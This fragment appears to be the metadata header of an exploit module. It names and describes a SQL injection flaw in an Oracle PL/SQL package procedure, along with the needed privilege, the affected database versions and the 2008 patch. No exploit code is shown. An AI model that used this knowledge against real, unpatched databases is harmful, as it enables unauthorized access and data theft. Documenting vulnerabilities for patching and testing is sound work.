'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE',
'Description' => %q{
The module exploits an sql injection flaw in the ALTER_AUTOLOG_CHANGE_SOURCE
procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
on the vulnerable package can exploit this vulnerability. By default, users granted
EXECUTE_CATALOG_ROLE have the required privilege.
Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1.
Fixed with October 2008 CPU.
